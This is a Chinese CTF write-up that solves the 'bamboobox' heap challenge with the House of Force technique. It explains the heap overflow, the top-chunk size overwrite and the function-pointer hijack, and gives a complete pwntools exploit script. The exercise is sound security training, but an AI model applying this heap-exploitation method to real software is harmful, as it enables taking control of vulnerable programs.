hitcontraining_bamboobox 堆技巧 House of Force
常规检查
流程分析
程序开始就会创建一个0x20大小的chunk,并且用hello_message和goodbye_message来存储着两个信息,在程序的开头和结束会调用这两个函数
程序主要有4个函数
show_item(),展示下标和内容
add_item(),增加一个chunk,并且可以直接输入-1分配任意大小的堆
change_item(),没有检查,可以进行堆溢出
remote_item函数,没有漏洞
漏洞利用分析:
1>根据wiki所述,可以知道由于刚开始会分配0x20chunk的大小,并且会存储一个程序的开始函数或者结束函数,所以我们可以劫持结尾的这个函数
2>而这个函数又在堆里,并且又可以修改top chunk的大小,所以通过堆申请到开头的堆上
3>修改goodbye_message函数的地址为magic地址即可
利用流程
程序开始堆情况,函数被分配在0x150f000地址处
申请一个堆块大小,并且覆盖top chunk的大小(这里显示-1应该是bug)
需要分配的地址是在top chunk的-(40+20)处,在加上一个头的大小也就是0x10,所以需要分配的大小是-(0x40+0x20)-0x10就是需要分配的chunk大小
在创建一个chunk,这时chunk应该从150f000开始分配,虽然我gdb上没有正确显示,但是我查看内存,值已经修改了
代码
from pwn import * r = process('./bamboobox') #r=remote('node3.buuoj.cn',29660) context.log_level = 'debug' def add(length, name): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name) def edit(idx, length, name): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name) def remove(idx): r.recvuntil(":") r.sendline("4") r.recvuntil(":") r.sendline(str(idx)) def show(): r.recvuntil(":") r.sendline("1") magic=0x400d49 gdb.attach(r) add(0x30,'pppp') payload=0x30*'a' payload+='p'*0x8+p64(0xffffffffffffffff) edit(0,0x41,payload) gdb.attach(r) offset_to_heap_base=-(0x40+0x20) malloc_size=offset_to_heap_base-0x10 add(malloc_size,'pppp') gdb.attach(r) add(0x10,p64(magic)*2) gdb.attach(r) r.sendline('5') print(r.recv()) r.interactive()